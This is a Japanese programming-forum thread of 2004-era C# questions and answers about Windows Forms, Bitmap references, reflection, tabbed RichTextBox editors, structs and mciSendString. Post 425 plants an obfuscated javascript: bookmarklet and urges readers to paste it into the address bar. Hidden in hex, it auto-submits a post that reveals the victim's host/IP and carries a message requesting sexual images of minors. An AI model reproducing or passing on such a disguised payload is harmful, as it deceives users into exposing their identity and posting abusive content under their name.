340 名前:デフォルトの名無しさん mailto:sage [04/09/10 22:03:18] >>339 > タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。 NotifyIconとかを管理するクラスを作り、その中のContextMenuでフォームのShow/Hideを扱う。 メッセージループはApplication.Run()でメインウィンドウを持たせずに開始する。
341 名前:デフォルトの名無しさん mailto:sage [04/09/10 22:46:49] >>340 できました!ありがとうございます。
342 名前:デフォルトの名無しさん [04/09/17 11:41:58] パフォーマンスを計るのにスレッド単位でCPUのTickTimeを取得したいのですが、 (Sleep中または別スレッドが走っている時はカウントしない) そういうクラス知っている人いますか?
343 名前:デフォルトの名無しさん [04/09/17 11:48:25] Type.InvokeMemberからBindingFlags.GetPropertyでプロパティを取得する時、 返り値がobject配列なのですが、どうすれば各要素にアクセス可能になるでしょうか。 単に返り値をobjectとして取得することはできたのですが、その後が分かりません・・
344 名前:デフォルトの名無しさん mailto:sage [04/09/17 11:50:48] >>343 言ってる意味がよくわからない。 もうちょっと具体的に。
345 名前:デフォルトの名無しさん mailto:sage [04/09/17 12:07:17] ごめんなさい、分かっちゃった。 こうしたかっただけです。 obj = type.InvokeMember("array", BindingFlags.GetProperty, null, doc, new object[] {2}); * これで二番目の要素をゲット お騒がせしました。
346 名前:デフォルトの名無しさん [04/09/17 14:41:43] bmp=new Bitmap(filename); これをdisposeせずに、また bmp=new Bitmap(filename2); を呼び出したらメモリー減って行きますか? それとも、同じ変数のメモリー番地に上書きされるだけですか?
347 名前:デフォルトの名無しさん mailto:sage [04/09/17 14:45:31] >>346 もちろん新しいメモリが確保される。 インスタンスのサイズが違うかも知れないのに上書きしちゃまずいだろ。
348 名前:デフォルトの名無しさん mailto:sage [04/09/17 14:47:10] って、参照先じゃなくて変数そのもののアドレスか? それなら上書きされるが。 つかそんなことに頭を悩ます意味は全くないが。 あとそれとDisposeとは何の関係もない。
349 名前:デフォルトの名無しさん [04/09/17 14:58:36] bmpの中にある画像データを替えたかっただけなんです。 >って、参照先じゃなくて変数そのもののアドレスか? >それなら上書きされるが。 という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
350 名前:デフォルトの名無しさん mailto:sage [04/09/17 15:08:05] > という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね? 画像データとか言わずBitmapインスタンスと言おうな、こういう場合。 まあ、そんな感じ。 細かく言うなら、「変数が示す参照先が書き変わる」。 変数が、古いインスタンスを丸めてポイして、新しいインスタンスにべったりくっつくわけだ。 //丸めてポイされたインスタンスはいずれGCが片づける。
351 名前:346 mailto:sage [04/09/17 15:10:47] なるほど、色々ありがd。
352 名前:デフォルトの名無しさん mailto:sage [04/09/17 15:16:45] >>346 微妙に誤解してないか? >>350 の書いてる内容は間違っちゃいないんだけど、 読み方によっては>>346 が誤解してしまうように思う。 依然 >という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね? のように言ってるからね… まあ画像データが上書きされるってのを、プログラム上からはというか、 プログラムでの操作上はそのように見えるってだけの意味で言ってるのなら大丈夫かもしれんが…
353 名前:デフォルトの名無しさん mailto:sage [04/09/17 21:16:06] >>346 上書きはされないよ。例えば、 Bitmap bmp = Bitmap(file1); aForm.BackgroundImage = bmp; なんてしておいて、後で bmp = Bitmap(file2) なんてやってもフォームの背景は変わらない。 前の画像は前の画像、新しい画像は新しい画像、お互いなんの関係もない。
354 名前:デフォルトの名無しさん mailto:sage [04/09/17 21:48:51] プロパティに設定するときはインスタンスのコピーをとってるんだろうか
355 名前:デフォルトの名無しさん mailto:sage [04/09/17 22:26:56] >>354 とってないよ。だから Dispose なんかしちゃだめだよ。
356 名前:デフォルトの名無しさん mailto:sage [04/09/17 23:38:22] Disposeは微妙な存在。
357 名前:デフォルトの名無しさん [04/09/18 10:40:22] >>342 の続きなんですが、スレッドがSleep等で停止したり、再開したりする時に コールバックもしくはなんだかの形でフックを掛けることはできないか知っている人いませんか?
358 名前:在日参政権反対 mailto:sage [04/09/18 12:36:45] >357 単純にメソッド余分じゃ駄目なの?他のスレッドに何かさせたいんでしょうか?ならイベントとか?
359 名前:デフォルトの名無しさん [04/09/18 13:51:36] >>358 システム側でスレッドが切り替えられたときにも引っ掛けないとパフォーマンスが計れないです。
360 名前:在日参政権反対 mailto:sage [04/09/18 14:13:26] パフォーマンスカウンターオブジェクトのスレッド実行時間では?
361 名前:デフォルトの名無しさん mailto:sage [04/09/23 02:34:14] はじめまして。 プログラミング自体初心者なのですが、 VisualStudioC#で作ったプログラムの テキストボックスの中でバックスペースが効きません。 これってなんとかならないものでしょうか。
362 名前:デフォルトの名無しさん mailto:sage [04/09/23 02:40:37] Ctrl+H
363 名前:デフォルトの名無しさん mailto:sage [04/09/23 15:42:18] 前の文字を消すための代替方法を探しているのではなくて、 テキストボックスでバックスペースキーを認識する方法を探しています。
364 名前:デフォルトの名無しさん mailto:sage [04/09/23 15:48:46] と言われても私の周辺では普通に有効だし。 コード上で変なことをしてるかキーボード補助系のなんかのアプリを使ってるか、果てしなく環境依存な話になるし。 そもそもTextBoxはWindowsの標準エディットコントロールをラップしてるだけだしなぁ。
365 名前:教えてください mailto:age [04/09/24 08:46:54] C#初学者です。 ナンバーズ予想ソフトをVC#で作りたいと思っています。 Winアプリで、ナンバーズとか株の最新データを取得してくるソフトが ありますが、あれってどのような仕組みでやっているのですか? 何か参考になるサイトや書籍などあれば教えてください。
366 名前:デフォルトの名無しさん [04/09/24 11:16:52] >>365 1.サイトからHTML(など?)をダウンロードする 2.ダウンロードしたHTML(など?)からナンバーズのデータを取得 3.取得したデータから、予想する 大雑把にこんな感じでやればいいのでは。
367 名前:在日外国人参政権反対 mailto:sage [04/09/24 11:32:46] ナンバー図は知らんが、株はサイトと直接ソケット接続してデータやり取りするものもあった希ガス.
368 名前:365 mailto:age [04/09/24 12:59:54] >366 ということは、まずHTMLのソースを元に配列化して、データを取得するということでしょうか? 取得の仕方だけが分からないんで・・・
369 名前:デフォルトの名無しさん mailto:sage [04/09/24 13:03:00] まずデータがどこにどういう状態/形式でおかれているか、によって話は全く違った方向に転がっていくだろう。
370 名前:366 mailto:sage [04/09/24 15:17:28] >>368 それは各自の工夫です。そんな甘いものではないはず。 まあヒントを。HTMLをダウンロードすることを前提に話すけど。 ダウンロードしたHTMLのうち、必要なデータがある場所というのはサイトの構成が変わらなければいつも同じなはず。 そういうのを、文字列の検索とか正規表現とかで探し出す。 運よく取得するサイトがXHTMLになっている場合は、System.Xml名前空間を駆使すれば楽になるかもしれない。
371 名前:在日外国人参政権反対 mailto:sage [04/09/24 15:55:14] >365 何がわからないのか明確にしる ソースの場所 ソースの形式 そのソースの取得方 プログラムの書き方 全部
372 名前:デフォルトの名無しさん mailto:sage [04/09/24 19:47:18] HttpWebRequest
373 名前:デフォルトの名無しさん mailto:age [04/09/25 14:06:36] ネットワークゲームを作る際に、通信に最初(ログイン)から最後(ログオフ)まで BinaryFormatter もしくは SopaFormatter にてシリアル化したオブジェクトのみを使用する事に問題点はありますか?
374 名前:デフォルトの名無しさん mailto:sage [04/09/29 00:02:22] >>373 なんか問題があったときにスニファで見てもよくわからないとかが ありそうなので、おいらは使わない Soapはしらないけど、効率わるいんじゃないの?
375 名前:デフォルトの名無しさん mailto:sage [04/10/02 10:37:47] 値型のnewってヒープを食わないんですよね?デフォルトのコンストラクタが呼ばれるだけで。 同じ変数に2回以上newした場合はどうなんでしょう。 ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは 問題ないんでしょうか? すごく抵抗を覚えるんですが・・・ ・パターン1 A a = new A(); for (int i = 0; i < 10000; i++) { a = new A(); // 以降Aを設定する処理 } ・パターン2 for (int i = 0; i < 10000; i++) { A a = new A(); // 以降Aを設定する処理 } ・パターン3 A a = new A(); for (int i = 0; i < 10000; i++) { // 自力で初期化 a.xx = ""; // 以降Aを設定する処理 } パフォーマンス的には3が一番いいような気がしていますが。 構造体を再度初期化する方法ってnew以外にあるんでしょうか?
376 名前:デフォルトの名無しさん mailto:sage [04/10/02 11:03:46] >>375 ボクシングされなければ、既に在る領域をコンストラクタで初期化しているだけのような気もする ……中を見てみないとどうにもいえないけど 不安ならば、パターン3の拡張として、 A に SetData みたいなメソッドを作り、そこで一気に値を変更してみればいかがか?
377 名前:デフォルトの名無しさん mailto:sage [04/10/02 11:21:45] >>375 > パフォーマンス的には3が一番いいような気がしていますが。 少なくとも速度的には一番悪い。 1と2では差は無し。意味的に大した違いも無し(aの寿命だけ。実質的な動作は同じ) > 構造体を再度初期化する方法ってnew以外にあるんでしょうか? static readonlyなEmptyフィールドを用意するとか。 意味的にはnew()するのと変わりませんよ? > ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは > 問題ないんでしょうか? > すごく抵抗を覚えるんですが・・・ そんなことよりも、初期値を指定しないで初期化する構造体の方に抵抗を覚えるな。
378 名前:375 mailto:sage [04/10/02 12:40:42] >>376-377 回答どーもです。 3が一番遅いというのは、newより個々のメンバをクリアする方が遅いんですか? 値型のnewの場合、内部的にmemsetみたいにクリア処理が1発走るだけなんですかね。
379 名前:デフォルトの名無しさん [04/10/02 12:57:09] C#でビデオキャプチャーはできますか? DirectXではできない(かなり面倒)と聞きました。 VFWで動きますでしょうか?サンプルなどありましたら、お教えください。
380 名前:デフォルトの名無しさん mailto:sage [04/10/02 13:43:36] >>379 DirectShow(のActiveXコントロール)による極簡単なサンプル ttp://chikuma.sit.ac.jp/2003-zemi/0103124/ASP/programs.htm DirectX9のDirectShowの.NETラッパ作成プロジェクト ttp://www.codeproject.com/cs/media/directshownet.asp
381 名前:デフォルトの名無しさん mailto:sage [04/10/04 01:17:53] このスレタイのC#を半角小文字英数のC#に変えてください
382 名前:デフォルトの名無しさん mailto:sage [04/10/04 01:19:03] そうすると不思議なことにC言語のスレッドと見分けがつかなくなるのです。
383 名前:デフォルトの名無しさん [04/10/04 01:51:54] #はシャープとは違う文字ですよ
384 名前:デフォルトの名無しさん mailto:sage [04/10/04 01:57:37] それでも半角の方が公式なんだがな。
385 名前:デフォルトの名無しさん mailto:sage [04/10/04 01:59:03] スレタイに半角 # は使えません。
386 名前:デフォルトの名無しさん mailto:sage [04/10/04 02:01:23] ム板だけでも#が使えるようにならんもんかな
387 名前:デフォルトの名無しさん mailto:sage [04/10/04 17:39:45] c#stdを使っているのですが ユーザーコントロールを配置して デバッグしようとすると、ユーザーコントロールはビルドされていないとダメって コンパイル時に起こられるのですが、みなさんはどうしてますか? VS.NETproとかだとこういうエラーはでないんですか?
388 名前:デフォルトの名無しさん mailto:sage [04/10/04 18:07:35] >387 151はけーん
389 名前:デフォルトの名無しさん [04/10/12 23:27:56] age
390 名前:デフォルトの名無しさん mailto:sage [04/10/17 23:11:19] button1のプロパティを全部button2にコピーする簡単な方法ってありますか?
391 名前:デフォルトの名無しさん mailto:sage [04/10/17 23:36:11] 意外に必要なプロパティなんて少ないもんだぞ。 問答無用に全部コピーすると問題が出たりするしな(だからWindowTargetをわざわざ除外してる)。 public void CopyButton(System.Windows.Forms.Button from, System.Windows.Forms.Button to) { foreach (System.Reflection.PropertyInfo inf in typeof(System.Windows.Forms.Button).GetProperties()) { if (!inf.CanRead || !inf.CanWrite || inf.Name == "WindowTarget") continue; inf.SetValue(to, inf.GetValue(from, null), null); } }
392 名前:デフォルトの名無しさん mailto:sage [04/10/18 00:04:22] >>391 すごい。 ありがとうございます! やってみます。
393 名前:デフォルトの名無しさん [04/10/18 18:35:36] C♯相談室から流れてきました。 タブ型のメモ帳を作っています。 richTextBoxを乗せたtabpageを追加していくようにしています。 上書き処理をしたいのですが自分で考えた方法は openFileDialogでファイルのパスを取得してloadfileで読み込む →内容を変更→savefileを使いpathパラメータはopenfileDialog.Filenameを指定して上書き としているのですが、別のテキストファイルを開いたあとで開いてあったテキストファイルを上書きしようとすると Filenameが後に開いたテキストファイルのものになってしまいます。 ファイルのパスをタブごとに維持しておく方法どうすればいいんでしょうか?
394 名前:デフォルトの名無しさん mailto:sage [04/10/18 18:46:47] >>393 タブのページ毎の情報はタブのページ毎に保存しとく。 OpenFileDialog.FileNameを、それぞれのTabPageオブジェクトのTagにいれといて 保存する時はそれを使うようにする。 ……むう、微妙に説明するのが難しい。 //開く時 TabPage page = tabControl1.SelectedTab; page.Tag = openFileDialog.FileName; ((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); //上書き保存する時 TabPage page = tabControl1.SelectedTab; string filename = (string)page.Tag; ((RichTextBox)page.Controls[0]).SaveFile(filename); こんなかんじで。
395 名前:デフォルトの名無しさん mailto:sage [04/10/18 20:10:25] 早いレスありがとうございます。 しかし自分の説明不足からかわからない点が。 上の記述はすでにtabが開いてあるとしてのものですか? 説明が下手なのでコードを貼り付けます。 //開く private void menuItem3_Click(object sender, System.EventArgs e) { openFileDialog1.DefaultExt = "*.txt"; openFileDialog1.Filter = "TEXT Files|*.txt"; if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK && openFileDialog1.FileName.Length > 0) { string path = openFileDialog1.FileName; string name = Path.GetFileName(path); string title = name; this.newtabpage = new System.Windows.Forms.TabPage(title); this.tabControl1.Controls.Add(this.newtabpage); this.newrichTextBox= new System.Windows.Forms.RichTextBox(); this.newrichTextBox.Dock=System.Windows.Forms.DockStyle.Fill; this.newtabpage.Controls.Add(this.newrichTextBox); this.newrichTextBox.LoadFile(openFileDialog1.FileName, RichTextBoxStreamType.PlainText); this.tabControl1.SelectedTab=this.newtabpage; this.newtabpage.ToolTipText=path; TabPage newtabpage = tabControl1.SelectedTab; newtabpage.Tag = openFileDialog1.FileName; MessageBox.Show(this.newtabpage.Tag.ToString());//パスが取れてるか確認のため。 } } としてみましたが結果が同じになってしまいました。 試行錯誤中なので無駄な記述があるかもしれません。 説明不足の上長文で申し訳ありませんがどうかお救いください。
396 名前:デフォルトの名無しさん mailto:sage [04/10/18 20:19:32] >>395 this.newtabpageとかthis.newrichTextBoxとかは他で使わないならローカル変数でもいいような。 それはさておき開くときにファイル名を記録していないわけで。 this.newtabpage.Tag = name;
397 名前:デフォルトの名無しさん mailto:sage [04/10/18 20:58:23] >>396 ファイル名を記憶してみても 別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。 根本的におかしい部分はありますか? 何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。
398 名前:デフォルトの名無しさん mailto:sage [04/10/18 21:02:04] >>397 すいません、解決しました。 パスを確認する別の記述の部分に TabPage newtabpage = tabControl1.SelectedTab; を加えるのを忘れていました。 ありがとうございました!
399 名前:デフォルトの名無しさん [04/10/18 22:19:49] 先生! 文字列型変数は、削除されないんですよね? string s = "ぬるぽ"; s = "にりぺ"; とした場合、「ぬるぽ」は残ってるんですよね? で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
400 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:22:16] アクセスって?
401 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:23:40] >>399 string s = "ぬるぽ"; string backup = s; s = "にりぺ"; System.Console.WriteLine(backup);
402 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:23:48] 参照が無くなったものにアクセスはできない。 GCの管理下に入ってそのうちメモリから消されるのみ。 というか > 文字列型変数は、削除されないんですよね? て意味不明。 System.Stringは変更不可クラスで、その意味は 文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく 新しいSystem.Stringインスタンスをつくって返すってこと。
403 名前:デフォルトの名無しさん [04/10/18 22:24:21] >>400 string p = s; で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。 です。
404 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:41:45] >>399 > とした場合、「ぬるぽ」は残ってるんですよね? もう手の届かないどこかに残っている。そのうち消えるが。 > で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか? 諦めるのがよい。 >>403 >"ぬるぽ"を消して、別の値を入れたり。 別の値をどこに入れるね?
405 名前:デフォルトの名無しさん mailto:sage [04/10/19 00:14:02] >>403 あんたはいったいなにがしたいんだ…?
406 名前:デフォルトの名無しさん mailto:sage [04/10/19 01:40:32] >>402 どうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。 いや、これはGCの対象になるだけで参照は無くなってはいないか。
407 名前:デフォルトの名無しさん mailto:sage [04/10/19 12:40:14] 正規表現を全部エスケープする正規表現ってどうすればいいいですか?
408 名前:デフォルトの名無しさん [04/10/19 14:54:14] class Class { public string s = "Hage1"; } class Class1 : Class { new public string s = "Hage2"; public static void Main(string[] args) { Class c1 = new Class1(); Console.WriteLine(c1.s); Console.ReadLine(); } } "Hage2"を表示したいのに、"Hage1"が表示されます。 Class c1 = new Class1(); で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?
409 名前:デフォルトの名無しさん mailto:sage [04/10/19 15:14:06] >>408 まず、フィールドはオーバーライドできない。まあ当然だけど。 このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。 ちなみにフィールドの場合newキーワードすら不要。 でも隠れただけで実際には存在する。 どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。 この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。 さて、貴方の目当ての機能はどういうものか。 オーバーライドという手法だ。 機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。 サンプル。 class Super { public virtual string S {get {return s;}} private string s = "Super"; } class Sub : Super { public override string S {get {return this.s + base.S;}} private string s = "Sub"; public static void Main() { Super sub = new Sub(); Console.WriteLine(sub.S); } } むう、今一つ上手い説明がつけられない……。 >>407 何がしたいのか分からないので具体例を。
410 名前:408 [04/10/19 15:55:59] >>409 この場合だと、 Class1クラスは、Classクラスのインスタンスを持っている。 Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。 そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。 c1---------Class ←Class型でアクセスするとこの中のデータにアクセス |--------Class1←Class1型で ヾ ていう感じでいいんでしょうか? orz
411 名前:デフォルトの名無しさん mailto:sage [04/10/19 16:17:36] > Class1クラスは、Classクラスのインスタンスを持っている。 違う。 Class1は、Classを拡張している。 class Class1 { // Classを継承させずに書いてみる。いや文法エラーだけど public string Class.s = "Hage1"; public string Class1.s = "Hage2"; } こんな感じに。 この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね? 単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが > Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。 だからあくまでClass1のインスタンスはClass1のインスタンス。 Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。 > そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。 Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。 普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。 でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。
412 名前:408 mailto:sage [04/10/19 17:30:06] >>411 どうもありがとうございます。 >public string Class.s = "Hage1"; >public string Class1.s = "Hage2"; これでやっと分かりました、たぶん。 Class c1 = new Class1(); これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。
413 名前:デフォルトの名無しさん [04/10/19 19:56:35] 先日質問させていただいたタブ型メモ帳を作ってるものです。 実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。 問題はやはり保存したいもののとなりに新しく開いたものがあると 書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが 書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。 //上書き保存 private void menuItem4_Click(object sender, System.EventArgs e) { newtabpage = tabControl1.SelectedTab; string fpath = newtabpage.Tag.ToString(); if(fpath.Length>0) { newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText); } else { saveFileDialog1.DefaultExt = "*.txt"; saveFileDialog1.Filter = "TEXT Files|*.txt"; if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0) { newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText); } } } こう記述しております。 あと最初に回答していただいたときの ((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と ((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか? お願いします。
414 名前:デフォルトの名無しさん mailto:sage [04/10/19 20:34:09] 問題は、そのnewrichTextBoxだ。 そのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう? つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。 そのために TabPage page = tabControl1.SelectedTab; //pageは現在選択中のタブのTabPage string filename = (string)page.Tag; //現在選択中のタブがもつパス情報 ((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存 と書いたわけだ。 つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。 それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。
415 名前:デフォルトの名無しさん mailto:sage [04/10/19 21:48:07] そういう意味だったのですか。なるほど。 試したところ上手くいきました。ありがとうございました。 意味はわかったんですけど ((RichTextBox)page.Controls[0]).SaveFile(filename); という記述は変な聞き方ですがどこで手に入れた?のですか? MSDNライブラリのtabpage.Controlsの周辺にもなかったので。
416 名前:デフォルトの名無しさん mailto:sage [04/10/19 21:55:03] ん? 目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと そうするとTabPage.Controls[0]はRichTextBoxになるわけで それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから 一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。 RichTextBox rtb = (RichTextBox)page.Controls[0]; trb.SaveFile(filename); を一行で済ませただけだよ。
417 名前:デフォルトの名無しさん mailto:sage [04/10/19 21:57:18] >>415 個々のオブジェクトの使い方を覚える前に、 まずはC#(というか.NET framework)そのものを学んだ方がよい。 重要なのは記述の方法ではなく、その記述が表現している概念だ。
418 名前:デフォルトの名無しさん mailto:sage [04/10/19 22:06:19] IEのファイルダウンロードのダイアログを同等のものを C#のプログラムで表示させたいのですが、 どうすればいいのですか? 「開く」「保存」「キャンセル」のボタンがあるやつです。
419 名前:デフォルトの名無しさん mailto:sage [04/10/19 22:13:18] 実をいうと自分は SE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】 www.gihyo.co.jp/books/syoseki.php/4-7741-1767-6 を読んでタブ型メモ帳を作ろうとしていました。 この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて 自分にピッタリだなぁと思ったんです。 しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび 検索してひとつずつ理解しながらまた質問していました。 やはりこれだけでは全然足りないみたいです。 これだけは読んでおけ!っていう本・サイトはありますか?
420 名前:デフォルトの名無しさん mailto:sage [04/10/19 22:37:28] >>418 > 「開く」「保存」「キャンセル」のボタンがあるやつです。 それくらいならFormから派生させたクラス書こう。 Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。
421 名前:418 mailto:sage [04/10/19 23:02:25] プログラムを書くのは簡単ですが、OS or IEで用意されている ものがあるのであればそれを使いたい。 そもそもOS or IEのバージョンによっても表示が変わりますよね。
422 名前:418 mailto:sage [04/10/19 23:07:15] ファイル上書き確認のダイアログとかもそうだけど。 用意されてないの?自分でつくらないといけないの?
423 名前:デフォルトの名無しさん mailto:sage [04/10/19 23:11:52] 上書き確認はSaveFileDialogについてくるもんだしなぁ。 YesNoCancel程度ならMessageBoxで済むし。
424 名前:デフォルトの名無しさん mailto:sage [04/10/20 02:32:48] >>418 あった気がするが。忘れたよ。Win32APIスレでも行ってみたら?
425 名前:デフォルトの名無しさん [04/10/20 07:13:53] どのスレでもいいので新しいウインドウで開く javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75 653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829 3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e)); を1行にしてアドレス欄にコピペして実行すれ。
426 名前:デフォルトの名無しさん [04/10/20 12:40:19] ListBoxとかListView上で、マウスを動かすと同時に、マウスの位置にあるアイテムを 自動的に選択するようにしたいんですが、どうやったらいいですか?
427 名前:デフォルトの名無しさん mailto:sage [04/10/20 13:11:40] >>426 MouseMoveイベント内で、 ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。 ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。 激しく鬱陶しそうなUIだな。 実用にならない気がする。
428 名前:デフォルトの名無しさん [04/10/21 16:48:43] 保守age
429 名前:デフォルトの名無しさん mailto:sage [04/10/24 00:03:10] CDドライブのドライブレターを指定して、 トレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので 従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、 構造体を引数にとる場合の処理で困ってます typedef struct tagMCI_OPEN_PARMSW { DWORD_PTR dwCallback; MCIDEVICEID wDeviceID; LPCWSTR lpstrDeviceType; LPCWSTR lpstrElementName; LPCWSTR lpstrAlias; } mciSendCommandのextern宣言は public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam); としていますが、 「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」 と、例外が発生して実行できません どうやったらいいんでしょうか?
430 名前:デフォルトの名無しさん mailto:sage [04/10/24 00:44:34] >>429 それだけなら public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd); mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); で良さそうだけど。 //開閉状態のチェックは色々難しいところがあるようだ……。 ttp://forums.belution.com/ja/vc/000/153/83s.shtml
431 名前:デフォルトの名無しさん mailto:sage [04/10/24 01:28:56] 特定のドライブ、となると一旦openする必要があるのかな。 StringBuilder sb = new StringBuilder(256); uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero); if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック mciSendString("set Hoge door open", null, 0, IntPtr.Zero);
432 名前:429 mailto:sage [04/10/24 17:17:55] できましたー SendStringで開閉できたんですねorz ありがとうございました
433 名前:デフォルトの名無しさん [04/10/24 19:32:03] C#でチャットを作っています メッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、 private void richTextBox1_TextChanged(object sender, System.EventArgs e) { richTextBox1.SelectionLength = 0; richTextBox1.SelectionStart = richTextBox1.Text.Length; richTextBox1.ScrollToCaret(); richTextBox1.Focus(); richTextBox2.Focus(); //もしくは //richTextBox1.SelectionStart = richTextBox1.Text.Length; //richTextBox1.Select(); //richTextBox1.Focus(); //richTextBox2.Focus(); } とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、 このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。 richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。
434 名前:467 mailto:sage [04/10/24 23:06:09] すいません自己解決しますた Focus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました
435 名前:433 mailto:sage [04/10/24 23:06:41] 433だった・・・
436 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:10:19] 文字列の検索でIndexOfとかIsMatchを使うと []とかの正規表現に使う文字列がうまく検索できないみたいなんですけど これって普通に[]とかを検索したい場合、検索したい文字列を自分で 変換したりする必要があるんですか? それとも他に何か簡単な方法があるんでしょうか? 教えてくださいお願いします。
437 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:14:21] .NET FrameworkにはIsMatchメソッドがあるのがRegexクラスしかなくて、RegexクラスにIndexOfメソッドはないんだが。 一体何でどうやって文字列の検索をしてるのかな。
438 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:24:58] 大昔の「コンピュータがクリックして困ってるんだ!」っていう話を思い出した。
439 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:49:21] >>437 レスありがとうございます。 検索の方法はコンボボックスのテキストから ループさせて毎回比べるようなやり方で検索しています。 for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++) { string s = DataGrid.Rows[i].Cells[0].Value.ToString(); int a = s.IndexOf(sStripPanel1.Text); if (a!= -1) { 結果表示 } } 意味不明なことしてたらすみません。。。 RegexクラスのIsMatchでもやってみたんですけど 正規表現に使うらしい文字列?を入力するとエラーが出ました。
